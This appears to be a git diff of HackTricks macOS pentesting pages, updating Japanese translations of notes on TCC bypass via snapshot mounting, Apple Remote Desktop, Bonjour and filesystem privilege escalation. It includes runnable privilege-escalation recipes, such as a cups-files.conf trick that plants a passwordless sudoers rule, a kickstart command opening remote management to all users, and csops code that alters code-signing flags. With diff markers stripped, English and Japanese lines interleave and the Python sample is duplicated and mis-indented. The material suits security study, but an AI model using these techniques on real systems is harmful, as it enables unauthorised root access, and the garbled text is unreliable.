**Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\
The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin.
### CVE-2020-9771 - mount_apfs TCC バイパスと特権昇格
**任意のユーザー**（特権のないユーザーも含む）は、タイムマシンのスナップショットを作成してマウントし、そのスナップショットの**すべてのファイルにアクセス**できます。\
必要な**唯一の特権**は、使用されるアプリケーション（`Terminal`など）が**フルディスクアクセス**（FDA）アクセス（`kTCCServiceSystemPolicyAllfiles`）を持つことであり、これは管理者によって付与される必要があります。
```bash
# Create snapshot
tmutil localsnapshot
@ -233,12 +226,11 @@ mkdir /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
より詳細な説明は[**元のレポートで見つけることができます**](https://theevilbit.github.io/posts/cve_2020_9771/)**。**
A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
## 機密情報
## Sensitive Information
This can be useful to escalate privileges:
これは特権を昇格させるのに役立ちます：
{{#ref}}
macos-files-folders-and-binaries/macos-sensitive-locations.md

102
src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md
View File

@ -1,19 +1,18 @@
# macOS Network Services & Protocols
# macOS ネットワークサービスとプロトコル
{{#include ../../banners/hacktricks-training.md}}
## Remote Access Services
## リモートアクセスサービス
These are the common macOS services to access them remotely.\
You can enable/disable these services in `System Settings` --> `Sharing`
これらはリモートでアクセスするための一般的な macOS サービスです。\
これらのサービスは `System Settings` --> `Sharing` で有効/無効にできます。
- **VNC**, known as “Screen Sharing” (tcp:5900)
- **SSH**, called “Remote Login” (tcp:22)
- **Apple Remote Desktop** (ARD), or “Remote Management” (tcp:3283, tcp:5900)
- **AppleEvent**, known as “Remote Apple Event” (tcp:3031)
Check if any is enabled running:
- **VNC**、別名「画面共有」 (tcp:5900)
- **SSH**、別名「リモートログイン」 (tcp:22)
- **Apple Remote Desktop** (ARD)、または「リモート管理」 (tcp:3283, tcp:5900)
- **AppleEvent**、別名「リモート Apple イベント」 (tcp:3031)
有効になっているかどうかを確認するには、次のコマンドを実行します:
```bash
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
@ -23,103 +22,90 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
```
### Pentesting ARD
Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits.
Apple Remote Desktop (ARD) は、macOS 向けに特別に設計された [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) の強化版で、追加機能を提供します。ARD の顕著な脆弱性は、制御画面パスワードの認証方法で、パスワードの最初の 8 文字のみを使用するため、デフォルトのレート制限がないため、Hydra や [GoRedShell](https://github.com/ahhh/GoRedShell/) のようなツールを使用した [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) に対して脆弱です。
Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation.
To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command:
脆弱なインスタンスは、**nmap** の `vnc-info` スクリプトを使用して特定できます。`VNC Authentication (2)` をサポートするサービスは、8 文字のパスワード切り捨てのため、特にブルートフォース攻撃に対して脆弱です。
特権昇格、GUI アクセス、またはユーザー監視などのさまざまな管理タスクのために ARD を有効にするには、次のコマンドを使用します:
```bash
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
```
ARDは、観察、共有制御、完全制御を含む多様な制御レベルを提供し、ユーザーパスワードの変更後もセッションが持続します。これにより、Unixコマンドを直接送信し、管理者ユーザーとしてrootで実行することができます。タスクスケジューリングやリモートSpotlight検索は、複数のマシンにわたる機密ファイルのリモートでの低影響検索を容易にする注目すべき機能です。
ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines.
## Bonjourプロトコル
## Bonjour Protocol
Bonjourは、Appleが設計した技術で、**同じネットワーク上のデバイスが互いに提供するサービスを検出する**ことを可能にします。Rendezvous、**ゼロコンフィギュレーション**、またはZeroconfとも呼ばれ、デバイスがTCP/IPネットワークに参加し、**自動的にIPアドレスを選択し**、他のネットワークデバイスにサービスをブロードキャストすることを可能にします。
Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices.
Bonjourが提供するゼロコンフィギュレーションネットワーキングにより、デバイスは以下を実現できます：
Zero Configuration Networking, provided by Bonjour, ensures that devices can:
- **DHCPサーバーがない場合でも自動的にIPアドレスを取得**する。
- **DNSサーバーを必要とせずに名前からアドレスへの変換を行う**。
- **ネットワーク上の利用可能なサービスを発見する**。
- **Automatically obtain an IP Address** even in the absence of a DHCP server.
- Perform **name-to-address translation** without requiring a DNS server.
- **Discover services** available on the network.
Bonjourを使用するデバイスは、**169.254/16範囲のIPアドレスを自分に割り当て**、ネットワーク上での一意性を確認します。Macはこのサブネットのルーティングテーブルエントリを維持し、`netstat -rn | grep 169`で確認できます。
Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`.
DNSに関して、Bonjourは**マルチキャストDNS（mDNS）プロトコル**を利用します。mDNSは**ポート5353/UDP**で動作し、**標準DNSクエリ**を使用しますが、**マルチキャストアドレス224.0.0.251**をターゲットにします。このアプローチにより、ネットワーク上のすべてのリスニングデバイスがクエリを受信し応答できるようになり、レコードの更新が促進されます。
For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records.
ネットワークに参加すると、各デバイスは通常**.local**で終わる名前を自己選択し、これはホスト名から派生するか、ランダムに生成されることがあります。
Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated.
ネットワーク内のサービス発見は、**DNSサービスディスカバリー（DNS-SD）**によって促進されます。DNS SRVレコードの形式を利用し、DNS-SDは**DNS PTRレコード**を使用して複数のサービスのリストを可能にします。特定のサービスを求めるクライアントは`<Service>.<Domain>`のPTRレコードを要求し、サービスが複数のホストから利用可能な場合、`<Instance>.<Service>.<Domain>`形式のPTRレコードのリストを受け取ります。
Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `<Service>.<Domain>`, receiving in return a list of PTR records formatted as `<Instance>.<Service>.<Domain>` if the service is available from multiple hosts.
`dns-sd`ユーティリティは、**ネットワークサービスの発見と広告**に使用できます。以下はその使用例です：
The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage:
### Searching for SSH Services
To search for SSH services on the network, the following command is used:
### SSHサービスの検索
ネットワーク上のSSHサービスを検索するには、次のコマンドを使用します：
```bash
dns-sd -B _ssh._tcp
```
このコマンドは、\_ssh.\_tcp サービスのブラウジングを開始し、タイムスタンプ、フラグ、インターフェース、ドメイン、サービスの種類、インスタンス名などの詳細を出力します。
This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name.
### Advertising an HTTP Service
To advertise an HTTP service, you can use:
### HTTP サービスの広告
HTTP サービスを広告するには、次のようにします:
```bash
dns-sd -R "Index" _http._tcp . 80 path=/index.html
```
このコマンドは、ポート80で`/index.html`のパスを持つ「Index」という名前のHTTPサービスを登録します。
This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`.
To then search for HTTP services on the network:
次に、ネットワーク上のHTTPサービスを検索するには:
```bash
dns-sd -B _http._tcp
```
サービスが開始されると、その存在をマルチキャストしてサブネット上のすべてのデバイスに利用可能であることを通知します。これらのサービスに興味のあるデバイスはリクエストを送信する必要はなく、単にこれらの通知を聞くだけです。
When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements.
For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network.
Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services:
よりユーザーフレンドリーなインターフェースのために、Apple App Storeで入手可能な**Discovery - DNS-SD Browser**アプリは、ローカルネットワーク上で提供されているサービスを視覚化できます。
また、カスタムスクリプトを作成して`python-zeroconf`ライブラリを使用してサービスをブラウズおよび発見することもできます。[**python-zeroconf**](https://github.com/jstasiak/python-zeroconf)スクリプトは、`_http._tcp.local.`サービスのためのサービスブラウザを作成し、追加または削除されたサービスを印刷することを示しています。
```python
from zeroconf import ServiceBrowser, Zeroconf
class MyListener:
def remove_service(self, zeroconf, type, name):
print("Service %s removed" % (name,))
def remove_service(self, zeroconf, type, name):
print("Service %s removed" % (name,))
def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info))
def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info))
zeroconf = Zeroconf()
listener = MyListener()
browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener)
try:
input("Press enter to exit...\n\n")
input("Press enter to exit...\n\n")
finally:
zeroconf.close()
zeroconf.close()
```
### Bonjourの無効化
### Disabling Bonjour
If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command:
セキュリティに関する懸念やその他の理由でBonjourを無効にする必要がある場合、次のコマンドを使用してオフにできます：
```bash
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
```
## References
## 参考文献
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)

97
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md
View File

@ -7,10 +7,10 @@
**ディレクトリ**の権限:
- **読み取り** - ディレクトリエントリを**列挙**できます
- **書き込み** - ディレクトリ内の**ファイル**を**削除/書き込み**でき、**空のフォルダ**を**削除**できます。
- しかし、**書き込み権限**がない限り、**非空のフォルダ**を削除/変更することはできません。
- **書き込み** - ディレクトリ内の**ファイル**を**削除/作成**でき、**空のフォルダ**を**削除**できます。
- しかし、**書き込み権限**がない限り、**非空のフォルダ**を**削除/変更**することはできません。
- フォルダの名前を**変更**することは、そのフォルダを所有していない限りできません。
- **実行** - ディレクトリを**横断**することが許可されています - この権利がないと、その中のファイルやサブディレクトリにアクセスできません。
- **実行** - ディレクトリを**横断**することが**許可**されています。この権利がないと、その中のファイルやサブディレクトリにアクセスできません。
### 危険な組み合わせ
@ -24,16 +24,22 @@
### フォルダのルート R+X 特殊ケース
**ディレクトリ**内に**rootのみがR+Xアクセス**を持つファイルがある場合、それらは**他の誰にもアクセスできません**。したがって、**制限**のためにユーザーが読み取れない**ファイルを**このフォルダから**別のフォルダに移動**できる脆弱性は、これらのファイルを読み取るために悪用される可能性があります。
**rootのみがR+Xアクセス**を持つ**ディレクトリ**内にファイルがある場合、それらは**他の誰にもアクセスできません**。したがって、**制限**のためにユーザーが読み取れない**ファイルを**このフォルダから**別のフォルダに移動**できる脆弱性は、これらのファイルを読み取るために悪用される可能性があります。
例: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
## シンボリックリンク / ハードリンク
特権プロセスが**低特権ユーザー**によって**制御される**可能性のある**ファイル**にデータを書き込んでいる場合、または低特権ユーザーによって**以前に作成された**可能性がある場合、そのユーザーはシンボリックまたはハードリンクを介して**別のファイルを指す**ことができます。そして、特権プロセスはそのファイルに書き込みます。
### 寛容なファイル/フォルダ
特権プロセスが**低特権ユーザー**によって**制御**される可能性のある**ファイル**にデータを書き込んでいる場合、または低特権ユーザーによって**以前に作成**された可能性がある場合、そのユーザーはシンボリックまたはハードリンクを介して**別のファイルを指す**ことができ、特権プロセスはそのファイルに書き込みます。
攻撃者が**特権を昇格させるために任意の書き込みを悪用できる**他のセクションを確認してください。
### オープン `O_NOFOLLOW`
`open`関数で使用されるフラグ`O_NOFOLLOW`は、最後のパスコンポーネントでシンボリックリンクを追跡しませんが、パスの残りの部分は追跡します。パス内のシンボリックリンクを追跡しないようにする正しい方法は、フラグ`O_NOFOLLOW_ANY`を使用することです。
## .fileloc
**`.fileloc`**拡張子のファイルは、他のアプリケーションやバイナリを指すことができるため、開くとアプリケーション/バイナリが実行されます。\
@ -50,11 +56,15 @@
</dict>
</plist>
```
## 任意FD
## ファイルディスクリプタ
**プロセスが高い権限でファイルやフォルダを開くことができる**場合、**`crontab`**を悪用して**`EDITOR=exploit.py`**で`/etc/sudoers.d`内のファイルを開くことができ、`exploit.py`は`/etc/sudoers`内のファイルへのFDを取得し、それを悪用します。
### FDの漏洩（`O_CLOEXEC`なし）
例えば: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
`open`への呼び出しにフラグ`O_CLOEXEC`がない場合、ファイルディスクリプタは子プロセスによって継承されます。したがって、特権プロセスが特権ファイルを開き、攻撃者が制御するプロセスを実行すると、攻撃者は**特権ファイルに対するFDを継承します**。
**高い特権でファイルまたはフォルダを開くプロセスを作成できる場合**、**`crontab`**を悪用して、**`EDITOR=exploit.py`**で`/etc/sudoers.d`内のファイルを開くことができ、`exploit.py`は`/etc/sudoers`内のファイルへのFDを取得し、それを悪用します。
例えば: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)、コード: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
## 検疫xattrsトリックを避ける
@ -110,9 +120,9 @@ ls -le /tmp/test
```
### **com.apple.acl.text xattr + AppleDouble**
**AppleDouble**ファイル形式は、ファイルとそのACEをコピーします。
**AppleDouble**ファイル形式は、ファイルとそのACEを含むコピーを作成します。
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)を見ると、xattrの中に保存されているACLのテキスト表現である**`com.apple.acl.text`**が、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした。
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)を見ると、xattrの中に保存されているACLテキスト表現が**`com.apple.acl.text`**として、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした。
詳細については、[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を確認してください。
@ -142,6 +152,27 @@ ls -le test
macos-xattr-acls-extra-stuff.md
{{#endref}}
## 署名チェックのバイパス
### プラットフォームバイナリチェックのバイパス
一部のセキュリティチェックは、バイナリが**プラットフォームバイナリ**であるかどうかを確認します。たとえば、XPCサービスに接続を許可するためです。しかし、https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/で示されているように、プラットフォームバイナリ（例：/bin/ls）を取得し、環境変数`DYLD_INSERT_LIBRARIES`を使用してdyld経由でエクスプロイトを注入することで、このチェックをバイパスすることが可能です。
### フラグ`CS_REQUIRE_LV`と`CS_FORCED_LV`のバイパス
実行中のバイナリが自分のフラグを変更して、次のようなコードでチェックをバイパスすることが可能です：
```c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
```
## コード署名のバイパス
バンドルには、**`_CodeSignature/CodeResources`** というファイルが含まれており、これは **バンドル** 内のすべての **ファイル** の **ハッシュ** を含んでいます。CodeResources のハッシュは **実行可能ファイル** にも **埋め込まれている** ため、それをいじることはできません。
@ -194,9 +225,9 @@ CLIからリソースの署名を計算することができます:
```bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
```
## DMGをマウントする
## Mount dmgs
ユーザーは、既存のフォルダーの上に作成されたカスタムDMGをマウントできます。これが、カスタムコンテンツを含むカスタムDMGパッケージを作成する方法です：
ユーザーは、既存のフォルダーの上に作成されたカスタムdmgをマウントできます。これが、カスタムコンテンツを含むカスタムdmgパッケージを作成する方法です：
```bash
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
@ -226,7 +257,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
あなたのスクリプトが**シェルスクリプト**として解釈される場合、毎日トリガーされる**`/etc/periodic/daily/999.local`**シェルスクリプトを上書きすることができます。
このスクリプトの実行を**偽装**することができます：**`sudo periodic daily`**
このスクリプトの実行を**偽装**するには、**`sudo periodic daily`**を使用します。
### デーモン
@ -247,21 +278,41 @@ hdiutil create -srcfolder justsome.app justsome.dmg
</dict>
</plist>
```
`/Applications/Scripts/privesc.sh`を生成し、**root**として実行したい**コマンド**を記述します。
`/Applications/Scripts/privesc.sh`を生成し、**root**として実行したい**コマンド**を記述してください。
### Sudoersファイル
### Sudoers File
**任意の書き込み**が可能であれば、**`/etc/sudoers.d/`**フォルダ内にファイルを作成し、**sudo**権限を自分に付与することができます。
### PATHファイル
### PATH files
**`/etc/paths`**ファイルは、PATH環境変数を設定する主な場所の一つです。これを上書きするにはrootである必要がありますが、**特権プロセス**から実行されるスクリプトが**フルパスなしでコマンドを実行**している場合、このファイルを変更することで**ハイジャック**できるかもしれません。
ファイル**`/etc/paths`**は、PATH環境変数を設定する主な場所の一つです。上書きするにはrootである必要がありますが、**特権プロセス**から実行されるスクリプトが**フルパスなしでコマンドを実行**している場合、このファイルを変更することで**ハイジャック**できるかもしれません。
また、**`/etc/paths.d`**にファイルを書き込むことで、`PATH`環境変数に新しいフォルダを追加することもできます。
また、**`/etc/paths.d`**にファイルを書き込むことで、`PATH`環境変数に新しいフォルダを追加することができます。
## 他のユーザーとして書き込み可能なファイルを生成
### cups-files.conf
これは、私が書き込み可能なrootに属するファイルを生成します（[**ここからのコード**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)）。これも特権昇格として機能するかもしれません。
この技術は[この書き込み](https://www.kandji.io/blog/macos-audit-story-part1)で使用されました。
次の内容でファイル`/etc/cups/cups-files.conf`を作成してください：
```
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
```
このコマンドは、パーミッションが777のファイル`/etc/sudoers.d/lpe`を作成します。最後の余分なゴミは、エラーログの作成をトリガーするためのものです。
次に、`/etc/sudoers.d/lpe`に、特権を昇格させるために必要な設定を記述します。例えば、`%staff ALL=(ALL) NOPASSWD:ALL`のようにします。
その後、ファイル`/etc/cups/cups-files.conf`を再度修正し、`LogFilePerm 700`を指定して、新しいsudoersファイルが`cupsctl`を呼び出すことで有効になるようにします。
### サンドボックスエスケープ
FSの任意の書き込みを使用してmacOSサンドボックスをエスケープすることが可能です。いくつかの例については、ページ[macOS Auto Start](../../../../macos-auto-start-locations.md)を確認してください。ただし、一般的な方法は、`~/Library/Preferences/com.apple.Terminal.plist`にターミナルの設定ファイルを書き込み、起動時にコマンドを実行するようにし、それを`open`で呼び出すことです。
## 他のユーザーとして書き込み可能なファイルを生成する
これは、私が書き込み可能なrootに属するファイルを生成します（[**ここからのコード**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)）。これは特権昇格としても機能する可能性があります。
```bash
DIRNAME=/usr/local/etc/periodic/daily
@ -275,7 +326,7 @@ echo $FILENAME
```
## POSIX共有メモリ
**POSIX共有メモリ**は、POSIX準拠のオペレーティングシステムにおいてプロセスが共通のメモリ領域にアクセスできるようにし、他のプロセス間通信方法と比較してより迅速な通信を促進します。これには、`shm_open()`を使用して共有メモリオブジェクトを作成または開き、`ftruncate()`でそのサイズを設定し、`mmap()`を使用してプロセスのアドレス空間にマッピングすることが含まれます。プロセスはこのメモリ領域から直接読み書きできます。並行アクセスを管理し、データの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスは`munmap()`と`close()`で共有メモリをアンマップおよび閉じ、オプションで`shm_unlink()`でメモリオブジェクトを削除します。このシステムは、複数のプロセスが迅速に共有データにアクセスする必要がある環境で、効率的で迅速なIPCに特に効果的です。
**POSIX共有メモリ**は、POSIX準拠のオペレーティングシステムにおいてプロセスが共通のメモリ領域にアクセスできるようにし、他のプロセス間通信方法と比較してより迅速な通信を促進します。これは、`shm_open()`を使用して共有メモリオブジェクトを作成または開き、`ftruncate()`でそのサイズを設定し、`mmap()`を使用してプロセスのアドレス空間にマッピングすることを含みます。プロセスはこのメモリ領域から直接読み書きできます。並行アクセスを管理し、データの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスは`munmap()`と`close()`で共有メモリをアンマップおよび閉じ、オプションで`shm_unlink()`でメモリオブジェクトを削除します。このシステムは、複数のプロセスが迅速に共有データにアクセスする必要がある環境で、効率的で迅速なIPCに特に効果的です。
<details>
@ -371,9 +422,9 @@ return 0;
## macOS ガード付きディスクリプタ
**macOS ガード付きディスクリプタ**は、ユーザーアプリケーションにおける**ファイルディスクリプタ操作**の安全性と信頼性を向上させるためにmacOSで導入されたセキュリティ機能です。これらのガード付きディスクリプタは、ファイルディスクリプタに特定の制限や「ガード」を関連付ける方法を提供し、カーネルによって強制されます。
**macOS ガード付きディスクリプタ**は、ユーザーアプリケーションにおける**ファイルディスクリプタ操作**の安全性と信頼性を向上させるためにmacOSに導入されたセキュリティ機能です。これらのガード付きディスクリプタは、ファイルディスクリプタに特定の制限や「ガード」を関連付ける方法を提供し、カーネルによって強制されます。
この機能は、**不正なファイルアクセス**や**レースコンディション**などの特定のクラスのセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、例えばスレッドがファイルディスクリプタにアクセスしているときに**別の脆弱なスレッドがそれにアクセスできる**場合や、ファイルディスクリプタが**脆弱な子プロセスに継承される**場合に発生します。この機能に関連するいくつかの関数は次のとおりです：
この機能は、**不正なファイルアクセス**や**レースコンディション**などの特定のクラスのセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、例えばスレッドがファイルディスクリプタにアクセスして**別の脆弱なスレッドにそれへのアクセスを許可する**場合や、ファイルディスクリプタが**脆弱な子プロセスに継承される**場合に発生します。この機能に関連するいくつかの関数は次のとおりです：
- `guarded_open_np`: ガード付きでFDをオープン
- `guarded_close_np`: 閉じる

79
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md
View File

@ -2,35 +2,31 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Gatekeeper
**Gatekeeper**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーが**信頼できるソフトウェアのみを**システムで実行することを保証するために設計されています。これは、ユーザーが**App Store以外のソース**からダウンロードして開こうとするソフトウェア（アプリ、プラグイン、インストーラーパッケージなど）を**検証する**ことによって機能します。
**Gatekeeper**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーが**信頼できるソフトウェアのみを**システムで実行することを保証するために設計されています。これは、ユーザーが**App Store以外のソース**からダウンロードして開こうとするソフトウェア（アプリ、プラグイン、インストーラーパッケージなど）を**検証することによって機能します**。
Gatekeeperの主要なメカニズムは、その**検証**プロセスにあります。ダウンロードされたソフトウェアが**認識された開発者によって署名されているか**を確認し、ソフトウェアの真正性を保証します。さらに、ソフトウェアが**Appleによって公証されているか**を確認し、既知の悪意のあるコンテンツが含まれておらず、公証後に改ざんされていないことを確認します。
加えて、Gatekeeperは**ユーザーにダウンロードしたソフトウェアを初めて開くことを承認するよう促す**ことで、ユーザーの制御とセキュリティを強化します。この保護機能は、ユーザーが無害なデータファイルと誤解して実行してしまう可能性のある有害な実行可能コードを誤って実行するのを防ぐのに役立ちます。
加えて、Gatekeeperは**ダウンロードされたソフトウェアを初めて開く際にユーザーに承認を促すことによって**、ユーザーの制御とセキュリティを強化します。この保護機能は、ユーザーが無害なデータファイルと誤解して実行してしまう可能性のある有害な実行可能コードを誤って実行するのを防ぐのに役立ちます。
### アプリケーション署名
### Application Signatures
アプリケーション署名、またはコード署名は、Appleのセキュリティインフラストラクチャの重要な要素です。これらは、**ソフトウェアの著者（開発者）の身元を確認する**ために使用され、コードが最後に署名されて以来改ざんされていないことを保証します。
アプリケーション署名、またはコード署名は、Appleのセキュリティインフラストラクチャの重要な要素です。これらは、**ソフトウェアの著者（開発者）の身元を確認するため**に使用され、コードが最後に署名されて以来改ざんされていないことを保証します。
以下のように機能します：
以下はその仕組みです：
1. **アプリケーションの署名：** 開発者がアプリケーションを配布する準備が整ったとき、彼らは**プライベートキーを使用してアプリケーションに署名します**。このプライベートキーは、Apple Developer Programに登録した際にAppleが開発者に発行する**証明書**に関連付けられています。署名プロセスは、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することを含みます。
2. **アプリケーションの配布：** 署名されたアプリケーションは、開発者の証明書とともにユーザーに配布されます。この証明書には、対応する公開鍵が含まれています。
1. **アプリケーションの署名：** 開発者がアプリケーションを配布する準備が整ったとき、彼らは**プライベートキーを使用してアプリケーションに署名します**。このプライベートキーは、開発者がApple Developer Programに登録した際にAppleが発行する**証明書に関連付けられています**。署名プロセスは、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することを含みます。
2. **アプリケーションの配布：** 署名されたアプリケーションは、対応する公開鍵を含む開発者の証明書と共にユーザーに配布されます。
3. **アプリケーションの検証：** ユーザーがアプリケーションをダウンロードして実行しようとすると、彼らのMacオペレーティングシステムは開発者の証明書から公開鍵を使用してハッシュを復号化します。その後、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致すれば、**アプリケーションは開発者によって署名されて以来変更されていない**ことを意味し、システムはアプリケーションの実行を許可します。
アプリケーション署名は、AppleのGatekeeper技術の重要な部分です。ユーザーが**インターネットからダウンロードしたアプリケーションを開こうとすると**、Gatekeeperはアプリケーション署名を検証します。Appleが知られた開発者に発行した証明書で署名されており、コードが改ざんされていなければ、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションはブロックされ、ユーザーに警告されます。
アプリケーション署名は、AppleのGatekeeper技術の重要な部分です。ユーザーが**インターネットからダウンロードしたアプリケーションを開こうとすると**、Gatekeeperはアプリケーション署名を検証します。Appleが既知の開発者に発行した証明書で署名されており、コードが改ざんされていなければ、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションはブロックされ、ユーザーに警告されます。
macOS Catalina以降、**GatekeeperはアプリケーションがAppleによって公証されているかどうかも確認します**。これにより、セキュリティの追加層が加わります。公証プロセスは、アプリケーションに既知のセキュリティ問題や悪意のあるコードがないかをチェックし、これらのチェックに合格すると、AppleはGatekeeperが検証できるチケットをアプリケーションに追加します。
#### 署名の確認
#### Check Signatures
いくつかの**マルウェアサンプル**を確認する際は、常に**バイナリの署名を確認する**べきです。署名した**開発者**がすでに**マルウェアに関連している可能性**があります。
いくつかの**マルウェアサンプル**をチェックする際は、常に**バイナリの署名を確認する**べきです。署名した**開発者**がすでに**マルウェアに関連している可能性**があります。
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
